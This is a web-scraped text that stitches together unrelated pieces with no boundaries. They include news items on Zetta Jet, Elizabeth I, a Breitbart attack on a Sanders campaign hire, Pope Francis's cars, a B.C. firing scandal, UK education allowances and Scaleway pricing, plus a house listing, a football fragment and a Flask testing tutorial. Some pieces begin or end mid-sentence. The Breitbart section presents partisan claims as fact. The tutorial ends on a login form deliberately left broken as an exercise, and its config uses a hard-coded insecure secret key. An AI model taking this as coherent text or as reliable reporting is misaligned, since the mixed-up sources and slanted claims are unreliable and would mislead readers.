He also admitted a yacht was purchased and the funds came from Zetta Jet. But it was "set off" against money allegedly owed to him from Zetta Jet Singapore and its subsidiaries. "It was necessary for Zetta to be perceived as an uber high-end private airline and the yacht was one of the tools that I had used in this regard," he said. ST was unable to contact Mr Cassidy for comment.As part of our Women in History series, best-selling author and historian Dr Tracy Borman explains what the the accession of Elizabeth I, in November 1558 has meant for women in positions of power.
When Elizabeth I became queen upon the death of her half-sister ‘Bloody’ Mary on 17 November 1558, there was great rejoicing across the kingdom. Church bells were rung and bonfires were lit, and thousands of people gathered to drink and make merry.
Beneath the euphoria, however, lay the deep-seated prejudice against female rulers that had existed for centuries. The vast majority of Elizabeth’s new subjects believed that women were naturally inferior to men in every respect. They had neither the intelligence nor the strength of character to make their own way in the world. Even Elizabeth’s closest adviser, William Cecil, was furious when one of the Queen’s messengers discussed with her a dispatch for her ambassador in Paris, exclaiming that it was ‘too much for a woman’s knowledge.’
Being single was a cornerstone of her success
Whereas Mary had confirmed such prejudices during her brief, disastrous reign, Elizabeth set out to confound them. Although she shared her male subjects’ views on the inferiority of women, she saw herself as an exception and was determined to stamp her authority upon all aspects of her court and government.
She started by refusing to marry – a deeply shocking concept in an age when it was universally accepted that a woman (let alone a queen) could not make her way in the world without the guidance of a husband. But Elizabeth was adamant: ‘I will have but one mistress here, and no master’, she told her courtiers. Although she encountered fierce resistance to this at first, over time her single state became one of the cornerstones of her success: it secured her place as the Virgin Queen of legend.
She knew how to use stereotypes
Another part of Elizabeth’s strategy to win over her misogynistic new subjects was to refer to herself time and again in masculine terms. She was a ‘prince’ who led her people with just as much authority as her formidable father, Henry VIII.
But she also knew exactly when to flaunt her femininity. She created a court based upon the principles of chivalric love, with herself at the centre – at turns delighting, frustrating and enslaving the male courtiers who flocked to pay her homage.
She would also use her womanly ‘weaknesses’ as an excuse not to take action. When under intense pressure to sign the death warrant of Mary, Queen of Scots, she told a parliamentary delegation that ‘my sex doth not permit it.’
Queen Elizabeth I’s legacy
Elizabeth’s first biographer, William Camden, claimed that she had ‘surprised her sex’. This implies that she triumphed in spite of being a woman, whereas in fact she triumphed because of this. Her feminine traits had enabled her to stand out in a world dominated by men – and to dominate these men in turn.
After just a few months on the throne, her successor, James I, had so alienated his English subjects that they were longing for the days when they had been ruled by a woman. Elizabeth’s greatest triumph, it seems, was to make us fall in love with queens.
Dr Tracy Borman is a best-selling author and historian, and is also joint Chief Curator of Historic Royal Palaces. Her forthcoming book, The Private Lives of the Tudors, will be published by Hodder & Stoughton in May 2016.
What impact did women have on English history?
In a survey we commissioned for Women’s History Month (March 2016) we discovered that 40% of people thought that women did not impact history as much as men.
We’re aiming to help change this perception and celebrate Women in History with a series of blogs, articles and profiles of just a few of the women whose contribution to England’s history you might not have heard about.
Who has inspired you the most? Tell us in the comments or connect with the conversation on Twitter using #womeninhistory
Share this Post 2.7kBernie Sanders’s recently hired Jewish outreach coordinator reportedly accused Prime Minister Benjamin Netanyahu of mass murder in an expletive-laden Facebook post.
“Fuck you, Bibi … you sanctioned the murder of over 2,000 people this summer,” wrote Simone Zimmerman in the March 3, 2015 post. A snapshot appears below.
The Washington Free Beacon on Wednesday first reported on the missive from the former campus activist with J Street, a George Soros-funded Mideast advocacy group that has been critical of Israeli policies.
“Bibi Netanyahu is an arrogant, deceptive, cynical, manipulative asshole,” added Zimmerman.
Zimmerman apparently later edited her screed, changing “asshole” to “politician” and “Fuck you” to “shame on you.” However, the Free Beacon obtained and posted screenshots of her original post, as seen above.
The hiring of Zimmerman, who has supported the anti-Israel Boycott, Divestment and Sanctions (BDS) campaign, was just the latest seeming slight against the Jewish state by the Sanders campaign.
Sanders, the sole Jewish candidate in this year’s presidential elections and the first Jewish politician to ever win a presidential primary, was also the only presidential candidate to not speak the annual conference of American Israel Public Affairs Committee (AIPAC) last month.
Breitbart Jerusalem reported on the text of the speech Sanders would have given had he attended the AIPAC conference. The speech, released by the Sanders campaign, was full of Israel criticism, including statements comparing the democratic, pro-human rights, terrorist-condemning Israeli government and society to the anti-democratic, human rights abusing, terrorist-supporting Palestinian leadership and to Palestinian society, which is also mostly supportive of terrorism.
In the speech, Sanders further accused Israel of “disproportionate” responses to Palestinian terrorist attacks, a theme he continued in numerous recent interviews.
In one interview with the New York Daily News two weeks ago, Sanders vastly inflated the number of Palestinians killed by Israel in during the 2014 Gaza War, and he claimed that the IDF response during that war was “disproportionate.”
“I don’t remember the figures, but my recollection is over 10,000 innocent people were killed in Gaza,” Sanders told the paper’s editorial board.
Here, Sanders actually outdoes Hamas’s own anti-Israel disinformation.
Israel and the Palestinians published different figures for the death toll of Operation Protective Edge, as Israel dubbed it, but both put the number of dead well below 2,500, including both civilians and militants. Israel says 1,408 of 2,203 Palestinians killed in the war were militants. Hamas claimed more than half were civilians.
During his Daily News interview, Sanders claimed that Israel bombed “hospitals.”
“My understanding is that a whole lot of apartment houses were leveled. Hospitals, I think, were bombed. So yeah, I do believe and I don’t think I’m alone in believing that Israel’s force was more indiscriminate than it should have been,” Sanders said.
Sanders left out that the IDF bombed a wing of Gaza’s empty Al-Wafa Hospital, with the Israeli army saying the building was being used as a Hamas terrorist command center and a launching site for rockets. No casualties were reported in the bombing, and Israel first fired numerous warning shots and ensured that the building was entirely evacuated.
Aaron Klein is Breitbart’s Jerusalem bureau chief and senior investigative reporter. He is a New York Times bestselling author and hosts the popular weekend talk radio program, “Aaron Klein Investigative Radio.” Follow him on Twitter @AaronKleinShow. Follow him on Facebook.Catholic charity to sell Pope Francis' cars used in Poland
WARSAW, Poland (AP) — Three identical cars that Pope Francis used during his July visit to Poland are being auctioned online by a Catholic Church charity to fund support for Syrian refugees and Polish people in need.
Francis was driven in three navy blue Volkswagen Golf cars during his July 27-31 stay in the southern city of Krakow for World Youth Day events. The cars bore the registration plates K1 POPE, K2 POPE and K3 POPE.
The Krakow branch of the Caritas charity says Tuesday that each car is worth 80,000 zlotys ($21,000) and will be sold to the highest bidders in an online auction running through Oct. 9.
In this July 31, 2016 file photo pope Francis and Krakow cardinal Stanislaw Dziwisz, right, are arriving in a navy blue Volkswagen Golf car to celebrate a Holy Mass there. The car, along with two other similar VW Golf care that Francis was driven in in Poland has been put on auction by a Polish Catholic Church charity to raise funds for a mobile clinic for Syrian refugees in Lebanon and for a shelter for the disabled in Poland. (AP Photo/Alik Keplicz, file)The sister of a British Columbia government health worker who took his own life after being falsely accused of wrongdoing says she hopes Premier Christy Clark’s “callous and cynical” response becomes a key issue in the provincial election campaign.
Linda Kayfish commented Tuesday after last week’s release of a report by B.C.’s Office of the Ombudsperson that found eight health workers including her brother Roderick MacIsaac were wrongly fired in 2012 after allegations of inappropriate conduct involving government drug research.
Kayfish held a news conference about two hours before Clark officially launched the election campaign, where the premier repeated she plays no role in hiring or firing government employees.
Kayfish said Clark’s apology to the legislature in 2012 failed to completely clear her brother’s name, even though the government was aware the firings were inappropriate.
“You are darn right there was political interference,” she said. “Maybe not at the beginning, but it certainly started while Roderick was still alive.”
Her brother took his own life about four months after he was fired.
Kayfish said the handling of the matter has been entirely political from the point in 2012 when the health minister at the time alleged in the legislature that criminal activity was involved and implied the possibility of an RCMP investigation.
“This whole business was just riddled with stink,” Kayfish said.
“The premier would have us believe this all falls on the head of the Public Service Agency.”
Ombudsperson Jay Chalke’s report said the eight workers were dismissed after a flawed and rushed investigation and didn’t deserve the personal, financial and professional harm they suffered. He said the premier and other officials did not direct the dismissals, but were aware of them.
Clark said Tuesday she sympathized with Kayfish’s grief and is ready to offer an apology in person, but stands by the position of her government and the ombudsperson that there was no political interference.
“If it would bring Ms. Kayfish some closure, absolutely, I’d be quite happy to repeat the apologies (to her) that the government made on behalf of the civil service in the legislature,” Clark said minutes after calling the election.
A statement from Kayfish’s lawyers alleged the government “knowingly subjected (Kayfish) and the others to needlessly hurtful and alienating treatment.”
“It’s just not good enough to say that you regret what happened, why don’t you say what you did,” lawyer Gary Caroline said. “Maybe that way an apology would be heartfelt.”
A retired Supreme Court of Canada judge has been appointed by the B.C. government to oversee reparation payments that were recommended in Chalke’s report.
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Email vantips@postmedia.com.With its seemingly floating accordion style roof, this 1965 beauty in Salt Lake City, Utah, is a real showstopper. Designed by Larry J. Rowsell, the three-bed-three-bath time capsule abounds with period details that feel just as relevant today.
Light wood paneling and sections of glass alternate to form the facade, where brick detailing marks the entrance. These materials also make up the interiors, with a brick wall, beamed ceilings, and clerestory windows perched above the walls repeating throughout the home.
All of these elements combine to create a space that’s bright, open, and airy, despite the dark palette of the woodwork of the ceiling beams, window treatments, and built-in furniture.
In the kitchen, original glass-pebbled cabinetry work together with an updated counter and appliances and repeat in the bathrooms, which appear untouched—and could use a refresh. Still, their charming pink-and-white bathtub and shower tiling is worth preserving.
Bedrooms also feature lengths of glass, wood paneling, and those glorious clerestory windows that let the sunshine pour in. A respectably sized backyard with small deck and brick and patio, and a carport round out the 2,828-square-foot residence.
Located at 2738 East Pebble Glen Circle, it’s offered at $649,000.
Courtesy of Mony TyMichael Gove's replacement for the scrapped education maintenance allowance is a "rushed and ill-thought-through" reform that was unveiled too late for teenagers making decisions about study in September, according to a committee of MPs.
Michael Gove announced the abolition of EMA, which helped students in households earning under £21,000 a year, as part of the spending review in October 2010.
A replacement scheme of bursaries for the poorest students administered by colleges was unveiled in March.
In a report published on Tuesday, the education select committee warns that the changeover was poorly handled and funding allocated too late for 16-year-olds to make informed decisions.
The report says ministers should have done more to acknowledge EMA's impact on participation, attainment and retention, before they decided how to restructure financial support.
The MPs said they were not convinced that bursaries administered by schools and colleges would be fairer or better targeted than a slimmed-down version of EMA.
But the committee accepted that a change was inevitable. "The need to examine every area of public spending is not in dispute, nor is the need to make difficult decisions," the report says.
Conservative MP Graham Stuart, chairman of the education select committee, said: "Young people taking life-defining decisions at 16 need clear information on the support they may receive and deserve better than rushed and ill-thought-through reforms.
"We accept that changes and savings need to be made but the organisation of the change has been far from smooth. Decisions on how much will be available for distribution by each school or college have been taken far too late, and it is 16-year-olds who have suffered uncertainty as a result. That should not have been allowed to happen."
The MPs criticise the government's main argument for abolishing EMA, that 90% of recipients would have chosen to study without the allowance.
Proponents of this view argue the high "deadweight cost", in effect, becomes 100% once legislation to make participation in 16-18 education or training compulsory comes into force in 2013.
The MPs say the 90% figure may be a "rounding-up" of an 88% figure in a study of barriers to participation in education and training. The author of the study, Thomas Spielhofer, told the committee that the 88% included some for whom finance was a constraint if not an absolute barrier. He also indicated that the 12% who would not go on to study without financial support was a significant figure, and he described it as "a worrying statistic".
Gove's decision led to public protests by further education college students. The MPs' report also finds that there is a strong argument for saying that 16- and 17-year-olds subject to compulsory study or training should be eligible for free or subsidised travel. It also says there is no logic in making free school meals available to 16- to 18-year-olds in schools but not in colleges, and says that equal eligibility should be the medium- to long-term aim.
Nearly 640,000 students took up EMA in 2009-10.
Sally Hunt, general secretary of the college lecturers' union the UCU, said: "We are pleased the select committee has acknowledged the complete mess the government has made of the EMA. Ever since the government started cherry-picking research to drive through the end of the EMA it has been clear to us that thousands of the country's poorest teenagers would suffer. It was insulting to hear Michael Gove dismiss the EMA as a deadweight cost – something that has now been proven incorrect."
A spokesman for the Department for Education said: "We have always been clear that we will not allow financial issues to be a barrier to young people staying on at school or college post-16.
"We are pleased to see that the committee acknowledges the government's rationale for closing the very expensive and centralised EMA scheme. This decision was made based on thorough analysis of all the available evidence and we have worked with representative bodies such as the Association of Colleges throughout this process.
"We firmly believe that a more targeted approach is needed and it is right to put money in the hands of heads and college principals, who know their pupils best. This is precisely what the new bursary scheme will do."Online.net’s Scaleway is an interesting beast in the cloud hosting world. Instead of building a virtual cloud hosting infrastructure that competes directly with Amazon Web Services, DigitalOcean and other VPS providers, the company designed its own ARM-based servers.
And that’s why the company can drive the prices down so much. You can now get a BareMetal SSD server with 2GB of RAM and 50GB of storage for $3.40 per month (€2.99) — that’s 70 percent cheaper than Scaleway’s previous pricing of €9.99 per month.
The company has stated on Twitter that the new pricing applies to existing users as well. As a reminder, as ARM v7 chipsets were first designed for smartphones, it’s very easy to run many of them with very little power, cooling and space. Scaleway managed to squeeze 912 separate computers in a single server rack.
The company also kept the best of both worlds — dedicated servers with the flexibility of virtualization as you get 4 dedicated ARM cores, a dedicated IP and 200Mbit/s of unmetered bandwidth. Contrarily to many popular VPS providers, you won’t share your CPU raw power with other users.
Other than that, it works pretty much like everybody else. In a few clicks, you can start an instance and install a distribution or an application. Some of these apps were already available for ARM architectures, but some of them had to be ported by Scaleway’s team to run on these servers. You can already find all the major distributions, from Debian to Ubuntu and Fedora.
In a few clicks, you can add more storage or integrate with Amazon S3. The company only has one server model. If you need more RAM or CPU power, you should boot up a new server with an existing image and make it work with your other servers. All the servers are currently hosted in Iliad’s data center in France.
At first, Scaleway was a technical achievement. Then it became a promising alternative when it comes to cloud hosting. Now with this new aggressive pricing strategy, it could become a serious contender.A couple of years ago, video game designer |
match his ambition by strengthening the calibre of his team-mates.
“I think we have to show him our ambition, which we will do,” Redknapp said. “If we can add one or two good players to our squad there’s no reason we can’t have another great season.
“We can’t be selling Luka. We have to add players if we want to get back into the Champions League. An unhappy player, if his mind’s not right, won’t be playing well and that is a massive problem.”
Redknapp revealed that a number of “big, top sides” as well as Chelsea had also expressed an interest in the 25 year-old, who is under contract until 2016. Though Manchester United are thought to be monitoring his situation, Sir Alex Ferguson is thought to prefer both Samir Nasri and Wesley Sneijder, while Manchester City will move for Modric only should other targets fall through.by Real Python flask web-dev
Please note: This is a collaboration piece between Michael Herman, from Real Python, and Sean Vieira, a Python developer from De Deo Designs.
Articles in this series:
Part I: Application setup Part II: Setup user accounts, Templates, Static files Part III: Testing (unit and integration), Debugging, and Error handling ← CURRENT ARTICLE
Welcome back to the Flask-Tracking development series! For those of you who are just joining us, we are implementing a web analytics application that conforms to this napkin specification. For all those of you following along at home, you may check out today’s code with:
$ git checkout v0.3
Or you may download it from the releases page on Github. Those of you who are just joining us may wish to read a note on the repository structure as well.
In the previous segment we added user accounts to our application. This week we’ll work on implementing a testing framework, talk a bit about why testing is important and then write some tests for our application. After, we’ll talk a bit about debugging errors in our application and logging.
Why Testing
Before we actually write any of our tests lets talk about why testing is important. If you remember the Zen of Python from Part 1, you may have noticed that “Simple is better than complex” is right above “Complex is better than complicated”. Simple is the ideal, complex is often a reality. Web applications, in particular, have many moving parts, and can very quickly move from simple to complex.
As the complexity of our application grows we want to ensure that the various moving parts we create continue to work together in a harmonious fashion. We don’t want to change the signature of a utility function that breaks a seemingly unrelated feature in production. Moreover, we want to ensure that our changes still preserve correct (not simply valid) functionality. A method that always returns the same datetime instance is valid and correct twice a day, but valid and incorrect all the rest of the time.
Tests are a great debugging aid. Writing a test that produces the invalid behavior we are seeing helps us look at our code from a different perspective. In addition, once we have the test passing we have ensured that we will not re-introduce this bug again (at least in that particular way).
Tests are also an excellent source of documentation. Since they have to deal with expected inputs and outputs reading a test suite will clarify what the code under test is expected to do. This will illuminate unclear segments of the documentation that we have written (or in simple cases, even substitute for it).
Finally, tests can be a wonderful exploratory aid - sketching out how we want to interact with our code before we write it reveals simpler APIs, and helps us paper over the internal complexity of a domain. “Test Driven Development” is the ultimate commitment to this process. In TDD we first write tests to cover our code’s functionality and only then do we write that code.
Tests will make it obvious:
When code isn’t working,
What code is broken, and
Why we wrote this code in the first place.
Every time we go to add a feature to our application, fix a bug or change some code we should make sure our code is adequately covered by tests and that the tests all pass after we’re done.
Do:
Add tests to cover the basic functionality of your code.
Add tests to cover as many corner/edge cases of your code that you can think of.
Add tests to cover the corner/edge cases you didn’t think of after you go back and fix them.
Remind your coding peers to adequately test their code.
Bug people about code that doesn’t pass tests.
Do Not:
Commit code without tests.
Commit code that doesn’t pass or breaks tests.
Change your tests so your code passes without fixing the problem.
Now that we’ve worked out why testing is so important lets start writing some tests for our application.
Setting up
Each chunk of functionality needs to have tests. To do this in a neat and concise way each package will get a tests.py module in it. This way we know where the tests for each package are and that they’re contained in the package if we ever need to break it out of our application.
We’ll use Flask-Testing extension because it has a bunch of useful testing features that we’d be setting up anyways. Go ahead and add Flask-Testing==0.4 to the bottom of requirements.txt then run pip install -r requirements.txt.
Flask-Testing eliminates almost all of the boilerplate of setting up Flask for unit testing. The little bit that remains we will place in a new module test_base.py :
# flask_testing/test_base.py from flask.ext.testing import TestCase from. import app, db class BaseTestCase ( TestCase ): """A base test case for flask-tracking.""" def create_app ( self ): app. config. from_object ( 'config.TestConfiguration' ) return app def setUp ( self ): db. create_all () def tearDown ( self ): db. session. remove () db. drop_all ()
This test case doesn’t do anything spectacular - it just configures the application with our test configuration, creates all of our tables at the start of every test and deletes all of our tables at the end of every test. This way every test case starts out with a clean slate and we can spend more time writing tests and less time debugging our test cases. Since every test case will inherit from our new BaseTestCase() class we will avoid copying and pasting this configuration into every package we create for our application.
One additional thing we have done is modularize our configurations. The original config.py module supported only one configuration - we can update that to allow for differences between environments. As a reminder, this is what config.py looked like in Part 2:
# config.py from os.path import abspath, dirname, join _cwd = dirname ( abspath ( __file__ )) SECRET_KEY = 'flask-session-insecure-secret-key' SQLALCHEMY_DATABASE_URI ='sqlite:///' + join ( _cwd, 'flask-tracking.db' ) SQLALCHEMY_ECHO = True
It looks almost the same now - we simply created a class that holds all of these configuration values:
from os.path import abspath, dirname, join _cwd = dirname ( abspath ( __file__ )) class BaseConfiguration ( object ): DEBUG = False TESTING = False SECRET_KEY = 'flask-session-insecure-secret-key' HASH_ROUNDS = 100000 #... etc....
which we can then inherit from:
class TestConfiguration ( BaseConfiguration ): TESTING = True WTF_CSRF_ENABLED = False SQLALCHEMY_DATABASE_URI ='sqlite:///:memory:' # + join(_cwd, 'testing.db') # Since we want our unit tests to run quickly # we turn this down - the hashing is still done # but the time-consuming part is left out. HASH_ROUNDS = 1
This way settings that are common to all environments can be easily shared, and we can easily override what we need to in our environment specific configurations. (This pattern comes directly from Flask’s excellent documentation.)
We are using an in-memory SQLite database for our tests to ensure that our tests execute as quickly as possible. We want to enjoy running our tests, and we can only do that if they execute in a reasonable amount of time. If we really need access to the result of the test run we can override the :memory: setting with the calculated path to tests.db. (That’s the commented out + join(_cwd, 'testing.db') in our TestConfiguration ).
We have also added a HASH_ROUNDS key to our configuration to control how many times a user’s password should be hashed before it is stored. We can change flask_tracking.users.models.User ’s _hash_password method to use this key:
from flask import current_app #... snip... def _hash_password ( self, password ): #... snip... rounds = current_app. config. get ( "HASH_ROUNDS", 100000 ) buff = pbkdf2_hmac ( "sha512", pwd, salt, iterations = rounds )
This ensures that our unit tests will run quickly - otherwise, every time we need to create or log in a user we will have to wait for 100,000 rounds of sha512 to complete before we can continue our test.
Finally, we will need to update our app.from_object call in flask_tracking/__init__.py. Before, we were loading the config using app.from_object('config'). Now that we have two configurations in our config module we will want to change that to app.from_object('config.BaseConfiguration').
Now we are ready to test our application.
The Tests
We’ll start with the users package.
From last time we know that the users package is responsible for:
Registration,
Logging in, and
Logging out.
So we need to write tests that cover users signing up, users logging in and then users logging out. Let’s start with a simple case - an existing user attempting to log in:
# flask_tracking/users/tests.py from flask import url_for from flask_tracking.test_base import BaseTestCase from.models import User class UserViewsTests ( BaseTestCase ): def test_users_can_login ( self ): User. create ( name = 'Joe', email = 'joe@joes.com', password = '12345' ) response = self. client. post ( url_for ( 'users.login' ), data = { 'email' : 'joe@joes.com', 'password' : '12345' }) self. assert_redirects ( response, url_for ( 'tracking.index' ))
Since every test case starts out with a completely clean database we have to create an existing user first. We can then submit the same request that our user (Joe) would submit if he were trying to log in. We want to ensure that if Joe logs in successfully, he will be redirected back to the home page.
We can run our tests with the unittest test runner, which comes built-in with Python. Run the following command from the root of the project:
$ python -m unittest discover
That results in the following output:
---------------------------------------------------------------------- Ran 1 test in 0.045s OK
Hurray! We now have a passing test! Let’s also test that our integration with Flask-Login is working. current_user should be Joe, so we should be able to do the following:
from flask.ext.login import current_user # And then inside of our test_users_can_login function: self. assertTrue ( current_user. name == 'Joe' ) self. assertFalse ( current_user. is_anonymous ())
However, if we were to try this we would get the following error:
>>> AttributeError: 'AnonymousUserMixin' object has no attribute 'name'
current_user needs to be accessed within the context of a request (it is a thread-local object, just like flask.request ). When self.client.post completes the request and every thread-local object is torn down. We need to preserve the request context so we can test our integration with Flask-Login. Fortunately, Flask ’s test_client is a context manager, which means that we can use it in a with statement and it will keep the context around as long as we need it:
with self. client : response = self. client. post ( url_for ( 'users.login' ), data = { 'email' : 'joe@joes.com', 'password' : '12345' }) self. assert_redirects ( response, url_for ( 'index' )) self. assertTrue ( current_user. name == 'Joe' ) self. assertFalse ( current_user. is_anonymous ())
Now, when we run our test again, we pass!
---------------------------------------------------------------------- Ran 1 test in 0.053s
Let’s ensure that when Joe is logged in, he can log out:
def test_users_can_logout ( self ): User. create ( name = "Joe", email = "joe@joes.com", password = "12345" ) with self. client : self. client. post ( url_for ( "users.login" ), data = { "email" : "joe@joes.com", "password" : "12345" }) self. client. get ( url_for ( "users.logout" )) self. assertTrue ( current_user. is_anonymous ())
Once again, we create Joe (remember, the database is reset at the end of every test). Then we log him in (which we know works because our first test is passing). Finally, we log him out by requesting the logout page via self.client.get(url_for("users.logout")) and ensure that the user we have is once again anonymous. Run the tests again and bask in the satisfaction of having two passing tests.
A couple of other things that we will want to check:
Can a user register and then log into the application?
When a user logs out, do they get redirected back to the index page?
These tests are available in the flask-tracking repository, should you want to review them. Since they are similar to what we have already written, we will skip them here.
Mocks and Integration Tests
There is one part of our application though, which is a little different from the rest - our add_visit endpoint in the tracking package not only interacts with the database and the user - it also interacts with the third-party service Free GeoIP. As this is a potential source of breakage, we will want to test it thoroughly. Since Free GeoIP is a third party service (which we might not always have access to) it also gives us a good opportunity to talk about the difference between unit and integration tests.
Unit vs. Integration Tests
Everything that we have written so far has fallen under the heading of a unit test. A unit test is a test of the smallest possible piece of functionality of our code - a test of an indivisible section of code (generally a function or method).
Integration tests, on the other hand, test our application at its boundaries - does our application interact correctly with this other application (which may well be something we have written)? Testing that our application properly calls and interacts with Free GeoIP is an integration test. These sorts of tests are very important, as they let us know that the features that we are depending on still work the way we expect them to. (Yes, that doesn’t help us if Free GeoIP changes its contract (API), or goes down completely, while we are running our application in production but that is what logging is for - which we will cover a little later on.)
However, the issue with integration tests is that they are often more than an order of magnitude slower than unit tests. A large number of integration tests can slow down our test suite to the point where it takes more than a minute to run - once it crosses that boundary, our test suite starts to be a hindrance rather than an assistant. Taking the time to run our tests now breaks our flow of concentration, rather than simply verifying that we are on the right track. Also, in the case of distributed services like Free GeoIP, it means we cannot actually run our test suite if we are offline or if Free GeoIP is down.
This leaves us in a fine quandary - on the one hand, integration tests are very important, and on the other hand, running integration tests is likely to break our work flow.
The solution is simple - we can create a bare-bones local implementation of the service we are calling (which is called a mock in testing parlance) and run our unit tests using this mock. We can separate out our integration tests into a separate file and run those before we commit changes to our code. That way, we get the speed of good unit tests and retain the certainty that integration tests provide.
Mocking Free GeoIP
If you remember from Part 2 we added a geodata module to our tracking package which implemented a single function get_geodata. We use this function in our tracking.add_visit view:
ip_address = request. access_route [ 0 ] or request. remote_addr geodata = get_geodata ( ip_address )
What we want to do in our unit test is ensure that when get_geodata works as expected we will properly record the visit in the database. However, we don’t want to call Free GeoIP (otherwise, our test will be slow in comparison to our other tests and we will not be able to run the tests when offline.) We need to replace get_geodata with another function (a mock).
First, let’s install a mocking library to make this easier. Add mock==1.0.1 to requirements.txt and pip install -r requirements.txt again. (If you are using Python 3.3 or greater, you already have mock installed as unittest.mock.)
Now we can write our unit test:
# flask_tracking/tracking/tests.py from decimal import Decimal from flask import url_for from mock import Mock, patch from werkzeug.datastructures import Headers from flask_tracking.test_base import BaseTestCase from flask_tracking.users.models import User from.models import Site, Visit from..tracking import views class TrackingViewsTests ( BaseTestCase ): def test_visitors_location_is_derived_from_ip ( self ): user = User. create ( name = 'Joe', email = 'joe@joe.com', password = '12345' ) site = Site. create ( user_id = user. id ) mock_geodata = Mock ( name = 'get_geodata' ) mock_geodata. return_value = { 'city' : 'Los Angeles', 'zipcode' : '90001', 'latitude' : '34.05', 'longitude' : '-118.25' } url = url_for ( 'tracking.add_visit', site_id = site. id ) wsgi_environment = { 'REMOTE_ADDR' : '1.2.3.4' } headers = Headers ([( 'Referer', '/some/url' )]) with patch. object ( views, 'get_geodata', mock_geodata ): with self. client : self. client. get ( url, environ_overrides = wsgi_environment, headers = headers ) visits = Visit. query. all () mock_geodata. assert_called_once_with ( '1.2.3.4' ) self. assertEqual ( 1, len ( visits )) first_visit = visits [ 0 ] self. assertEqual ( "/some/url", first_visit. url ) self. assertEqual ( 'Los Angeles, 90001', first_visit. location ) self. assertEqual ( 34.05, first_visit. latitude ) self. assertEqual ( - 118.25, first_visit. longitude )
Don’t worry - the pain of testing these sorts of integrations is mitigated by the fact that you generally have fewer of them in your application than you have units of code. Let’s walk through this code section by section and break it down into digestible chunks.
Set up the test data and mocks
First, we set up a user and a site since the database is empty at the start of every test:
def test_visitors_location_is_derived_from_ip ( self ): user = User. create ( name = 'Joe', email = 'joe@joe.com', password = '12345' ) site = Site. create ( user_id = user. id )
Then, we create a mock function, and specify that it should return a dictionary containing the coordinates for Los Angeles every time it is called (we could have simply created a simple function that always returned the dictionary, but mock also provides the patch.* context managers, which are extremely useful, so we’ll go the whole nine yards with the library):
mock_geodata = Mock ( name = 'get_geodata' ) mock_geodata. return_value = { 'city' : 'Los Angeles', 'zipcode' : '90001', 'latitude' : '34.05', 'longitude' : '-118.25' }
Finally, we set up the URL that we are going to visit and the parts of the WSGI environment that we need for tracking.add_visit to work (which, in this case is just the IP address of our fake end user’s visitor and the URL they supposedly came from):
url = url_for ( 'tracking.add_visit', site_id = site. id ) wsgi_environment = { 'REMOTE_ADDR' : '1.2.3.4' } headers = Headers ([( 'Referer', '/some/url' )])
Patch the mock into our tracking module
We explicitly imported the flask_tracking.tracking.views module into our tests module with:
from..tracking import views
Now we patch that module’s get_views name to point to our mock_geodata object rather than the flask_tracking.tracking.geodata.get_geodata function:
with patch. object ( views, 'get_geodata', mock_geodata ):
By using patch.object as a context manager, we ensure that after we exit this with block flask_tracking.tracking.views.get_geodata will once again point to flask_tracking.tracking.geodata.get_geodata. We could also have used patch.object as a decorator:
mock_geodata = Mock ( name = 'get_geodata' ) #... snip return setup... class TrackingViewsTests ( BaseTestCase ): @patch. object ( views, 'get_geodata', mock_geodata ) def test_visitors_location_is_derived_from_ip ( self ):
or even a class decorator:
@patch. object ( views, 'get_geodata', mock_geodata ) class TrackingViewsTests ( BaseTestCase ):
The only difference is the scope of the patch. The function decorator version ensures that as long as we are inside the test_visitors_location_is_derived_from_ip function get_geodata points at our mock, while the class decorator version ensures that every function that starts with test inside of TrackingViewsTests will see the mocked version of get_geodata.
Personally, I prefer to keep the scope of my mocks as limited as possible. It helps ensure that I keep my testing scope in mind, and saves me from surprises where I was expecting to have access to the real object and have to de-patch it.
Run the test
Having set up everything we need we can now make our request:
with self. client : self. client. get ( url, environ_overrides = wsgi_environment, headers = headers )
We provide our controller with the viewer’s IP address through the wsgi_environment dictionary we created ( wsgi_environment = {'REMOTE_ADDR': '1.2.3.4'} ). Flask’s test client is an instance of Werkzeug’s test client - which supports all of the arguments that you can pass to EnvironmentBuilder.
Assert that everything worked
Finally, we fetch all of the visits from the tracking_visit table:
visits = Visit. query. all ()
and verify that:
We used the user’s IP address to lookup his geodata:
mock_geodata. assert_called_once_with ( '1.2.3.4' )
The request only generated one visit:
self. assertEqual ( 1, len ( visits ))
The location data was properly persisted:
first_visit = visits [ 0 ] self. assertEqual ( "/some/url", first_visit. url ) self. assertEqual ( 'Los Angeles, 90001', first_visit. location ) self. assertEqual ( Decimal ( "34.05" ), first_visit. latitude ) self. assertEqual ( Decimal ( "-118.25" ), first_visit. longitude )
When we run python -m unittest discover we get the following output:
F..... ====================================================================== FAIL: test_visitors_location_is_derived_from_ip (flask_tracking.tracking.tests.TrackingViewsTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "~/dev/flask-tracking/flask_tracking/tracking/tests.py", line 41, in test_visitors_location_is_derived_from_ip self.assertEqual('Los Angeles, 90001', first_visit.location) AssertionError: 'Los Angeles, 90001'!= None ---------------------------------------------------------------------- Ran 6 tests in 0.147s FAILED (failures=1)
Ah, a failure! Apparently, we are not mapping location properly, as the Visit ’s location is not being persisted in the database. Checking our view code reveals that we are indeed setting location when we construct our VisitForm … but that we do not actually have a location field set up for our VisitForm! Good thing we caught that before we went live! (This duplication of fields causes problems, and should suggest something to you all - when it does I suggest you take a look at wtforms-alchemy.)
Once we add location, latitude, and longitude fields to our VisitForm we should be able to run our tests and get:
..... ---------------------------------------------------------------------- Ran 5 tests in 0.150s OK
And that completes our first test with mocks.
Debugging
Our unit tests are very useful - but what happens when we try to test something and the test code does not do what we expect it to do? Or even worse, when a user calls us up and complains that he has encountered an error? If it is a system-wide problem, running our unit tests might reveal the issue … but that could only happen if we checked in and deployed code without running our tests (and we would never do that, now would we?)
Assume that we always run our tests before committing and deploying, then our unit tests cannot help us when something breaks in production. Instead, we will need to ask the user to provided us with a complete example, so that we can debug it locally.
Let’s say that we engaged in a little bit of refactoring of our login form-
# If you can see what's broken already, give yourself a prize # and write a test to ensure it never happens again :-) class LoginForm ( Form ): email = fields. StringField ( validators = [ InputRequired (), Email ()]) password = fields. StringField ( validators = [ InputRequired ()]) def validate_login ( form, field ): try : user = User. query. filter ( User. email == form. email. data ). one () except ( MultipleResultsFound, NoResultFound ): raise ValidationError ( "Invalid user" ) if user is None : raise ValidationError ( "Invalid user" ) if not user. is_valid_password ( form. password. data ): raise ValidationError ( "Invalid password" ) # Make the current user available # to calling code. form. user = user
